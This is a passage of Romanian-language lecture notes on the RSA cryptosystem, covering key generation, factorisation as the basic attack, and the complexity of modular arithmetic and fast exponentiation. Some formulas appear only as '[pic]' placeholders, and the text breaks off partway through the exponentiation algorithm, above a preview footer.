3. Alege aleator un numar b (1 < b < Φ (n)) astfel ca (b, Φ (n)) = 1;

4. Calculeaza a = b−1 mod Φ (n) folosind algoritmul lui Euclid;

5. Face public n si b.

Un atac evident al sistemului consta in incercarea de factorizare a lui n.

Daca se realizeaza aceasta, este usor de determinat Φ(n) = (p − 1)(q − 1) si de calculat exponentul de decriptare a plecand de la b.

Deci, pentru ca sistemul RSA sa fie sigur, este necesar ca n sa fie suficient de mare pentru ca factorizarea sa sa fie imposibila (din punct de vedere al complexitatii).

Operatiile necesare pentru criptare si decriptare:

- Orice astfel de calcul se bazeaza pe o exponentiere modulo n. Cum n este foarte mare, vom utiliza aritmetica numerelor mari pentru lucrul in Zn, timpul de calcul necesar fiind direct proportional cu numarul de biti ai lui n.

- Daca n ocupa k biti in memorie (deci k = [log2n] + 1), suma a doua numere de k biti se face in O(k), iar inmultirea in O(k2).

La fel si reducerea modulo n.

Deci, pentru x, y [pic] Zn, numarul xy mod n se poate determina prin calcule de complexitate O(k2).

- Exponentierea modulara xc mod n. O modalitate de calcul consta in efectuarea de c−1 multiplicari modulare - proces foarte ineficient pentru c mare, deoarece algoritmul devine de complexitate exponentiala.

Algoritm de exponentiere rapida, care realizeaza xc mod n cu complexitate O(k3), bazat pe descompunerea binara a lui c,

c = [pic]

unde s (s [pic] k) este numarul de biti ai lui c, iar ci [pic] {0, 1}.

Exponentierea se face doar prin ridicari la patrat si maxim s inmultiri modulare, conform algoritmului:

z ................
................

In order to avoid copyright disputes, this page is only a partial summary.

Google Online Preview   Download